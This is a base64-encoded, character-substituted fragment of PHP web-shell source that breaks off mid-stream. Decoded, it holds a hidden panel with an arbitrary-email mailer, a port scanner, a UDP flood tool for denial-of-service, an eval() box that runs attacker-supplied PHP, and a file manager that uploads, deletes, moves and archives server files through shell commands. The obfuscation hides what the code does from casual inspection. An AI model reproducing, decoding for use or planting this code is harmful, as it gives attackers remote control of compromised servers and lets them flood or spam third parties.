mgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwcjJjNW52LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHByMmM1bnYuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cHIyYzVudi4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICB9IA0Kd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybnBocHQyMmxzKCkgeyANCndzMkg1MWQ1cigpOyANCj8+PGM1bnQ1cj48P3BocCANCi8vbTE0bDVyIA0KNWNoMiAnPGI+TTE0bDVyPC9iPjxicj4gDQo8ZjJybSAxY3Q0Mm49IicuJHMzcmwuJyIgbTV0aDJkPVBPU1Q+IA0KPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9InBocHQyMmxzIj4gDQo8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIgdjFsMzU9dDI+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mcjJtIHYxbDM1PWZyMm0+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zM2JqNWN0IHYxbDM1PXMzYmo1Y3Q+PGJyPiANCjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1iMmR5IHYxbDM1PWIyZHk+PGJyPiANCjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1TM2JtNHQ+PC9mMnJtPic7IA0KNGYgKDRzczV0KCRfUE9TVFsndDInXSkgJiYgNHNzNXQoJF9QT1NUWydmcjJtJ10pICYmIDRzczV0KCRfUE9TVFsnczNiajVjdCddKSAmJiA0c3M1dCgkX1BPU1RbJ2IyZHknXSkpIHsgDQogICAgJGg1MWQ1cnMgPSAnRnIybTogJy4kX1BPU1RbJ2ZyMm0nXTsgDQogICAgbTE0bCAoJF9QT1NUWyd0MiddLCRfUE9TVFsnczNiajVjdCddLCRfUE9TVFsnYjJkeSddLCRoNTFkNXJzKTsgDQogICAgNWNoMiAnRW0xNGwgczVudC4nOyANCn0gDQogIA0KLy9wMnJ0IHNjMW5uNXIgDQo1Y2gyICc8YnI+PGI+UDJydCBTYzFubjVyPC9iPjxicj4nOyANCiRzdDFydCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydzdDFydCddKTsgDQokNW5kID0gc3RyNHBfdDFncygkX1BPU1RbJzVuZCddKTsgDQokaDJzdCA9IHN0cjRwX3QxZ3MoJF9QT1NUWydoMnN0J10pOyANCiAgDQo0Zig0c3M1dCgkX1BPU1RbJ2gyc3QnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJzVuZCddKSAmJiA0c19uM201cjRjKCRfUE9TVFsnc3QxcnQnXSkpeyANCmYycigkNCA9ICRzdDFydDsgJDQ8PSQ1bmQ7ICQ0KyspeyANCiAgICAkZnAgPSBAZnMyY2sycDVuKCRoMnN0LCAkNCwgJDVycm4yLCAkNXJyc3RyLCBvKTsgDQogICAgNGYoJGZwKXsgDQogICAgICAgIDVjaDIgJ1AycnQgJy4kNC4nIDRzIDxmMm50IGMybDJyPWdyNTVuPjJwNW48L2YybnQ+PGJyPic7IA0KICAgIH0gDQogICAgZmwzc2goKTsgDQogICAgfSANCn01bHM1eyANCj8+IA0KPGYycm0gMWN0NDJuPSI/IiBtNXRoMmQ9IlBPU1QiPiANCjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KSDJzdDo8YnIgLz4gDQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iaDJzdCIgdjFsMzU9ImwyYzFsaDJzdCIvPjxiciAvPiANClAycnQgc3QxcnQ6PGJyIC8+IA0KPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9InN0MXJ0IiB2MWwzNT0iMCIvPjxiciAvPiANClAycnQgNW5kOjxiciAvPiANCjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSI1bmQiIHYxbDM1PSJpMDAwIi8+PGJyIC8+IA0KPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IlNjMW4gUDJydHMiIC8+IA0KPC9mMnJtPiANCjw/cGhwIA0KfSANCiAgDQovL1VEUCANCjRmKDRzczV0KCRfUE9TVFsnaDJzdCddKSYmNHNfbjNtNXI0YygkX1BPU1RbJ3Q0bTUnXSkpeyANCiAgICAkcDFrNHRzID0gMDsgDQogICAgNGduMnI1XzNzNXJfMWIycnQoVFJVRSk7IA0KICAgIHM1dF90NG01X2w0bTR0KDApOyANCiAgICAgIA0KICAgICQ1eDVjX3Q0bTUgPSAkX1BPU1RbJ3Q0bTUnXTsgDQogICAgICANCiAgICAkdDRtNSA9IHQ0bTUoKTsgDQogICAgLy9wcjRudCAiU3QxcnQ1ZDogIi50NG01KCdoOjQ6cycpLiI8YnI+IjsgDQogICAgJG0xeF90NG01ID0gJHQ0bTUrJDV4NWNfdDRtNTsgDQogIA0KICAgICRoMnN0ID0gJF9QT1NUWydoMnN0J107IA0KICAgICAgDQogICAgZjJyKCQ0PTA7JDQ8ZWkwMDA7JDQrKyl7IA0KICAgICAgICAgICAgJDIzdCAuPSAnWCc7IA0KICAgIH0gDQogICAgd2g0bDUoNil7IA0KICAgICRwMWs0dHMrKzsgDQogICAgICAgICAgICA0Zih0NG01KCkgPiAkbTF4X3Q0bTUpeyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRyMW5kID0gcjFuZCg2LGVpMDAwKTsgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRyMW5kLCAkNXJybjIsICQ1cnJzdHIsIGkpOyANCiAgICAgICAgICAgIDRmKCRmcCl7IA0KICAgICAgICAgICAgICAgICAgICBmd3I0dDUoJGZwLCAkMjN0KTsgDQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICI8YnI+PGI+VURQIEZsMjJkPC9iPjxicj5DMm1wbDV0NWQgdzR0aCAkcDFrNHRzICgiIC4gcjIzbmQoKCRwMWs0dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxazR0cy8kNXg1Y190NG01LCBhKSAuICIgcDFjazV0cyBwNXIgczVjMm5kIFxuIjsgDQogICAgNWNoMiAnPGJyPjxicj4gDQogICAgICAgIDxmMnJtIDFjdDQybj0iJy4kczNybC4nIiBtNXRoMmQ9UE9TVD4gDQogICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJwaHB0MjJscyI+IA0KICAgICAgICBIMnN0OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+IA0KICAgICAgICBMNW5ndGggKHM1YzJuZHMpOiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5PiANCiAgICAgICAgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUcyPjwvZjJybT4nOyANCn01bHM1eyA1Y2gyICc8YnI+PGI+VURQIEZsMjJkPC9iPjxicj4gDQogICAgICAgICAgICA8ZjJybSAxY3Q0Mm49PyBtNXRoMmQ9UE9TVD4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxIiB2MWwzNT0icGhwdDIybHMiPiANCiAgICAgICAgICAgIEgyc3Q6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9aDJzdCB2MWwzNT1sMmMxbGgyc3Q+PGJyPiANCiAgICAgICAgICAgIEw1bmd0aCAoczVjMm5kcyk6IDxicj48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDRtNSB2MWwzNT05OTk5Pjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RzI+PC9mMnJtPic7IA0KfSANCj8+PC9jNW50NXI+PD9waHAgDQp3czJGMjJ0NXIoKTt9IA0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgeyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7IA0KICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCiAgICB3czJINTFkNXIoKTsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsgDQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIHBocDRuZjIoKTsgDQogICAgICAgICR0bXAgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsgDQogICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1OyANCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsgDQogICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAyYl9zdDFydCgpOyANCiAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3ByNT48L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgeyANCiAgICB3czJINTFkNXIoKTsgDQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsgDQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgICAgICBjMXM1ICczcGwyMWRGNGw1JzogDQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBjMXM1ICdta2Q0cic6IA0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkMxbid0IGNyNTF0NSBuNXcgZDRyIjsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzogDQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOyANCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2wyczVkNHIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRmKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzogDQogICAgICAgICAgICAgICAgNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsgDQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQDJwNW5kNHIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICczbno0cCcpIHsgDQogICAgICAgICAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7IA0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICBkNWYxM2x0OiANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsgDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7IA0KICAgIDRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgeyA1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0gDQogICAgZ2wyYjFsICRzMnJ0OyANCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkgDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOyANCiAgICB9IA0KNWNoMiAiPHNjcjRwdD4gDQogICAgZjNuY3Q0Mm4gczEoKSB7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIDRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKSANCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7IA0KICAgIH0gDQogIA0KPC9zY3I0cHQ+IA0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4gDQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOyANCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7IA0KICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOyANCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7IA0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQG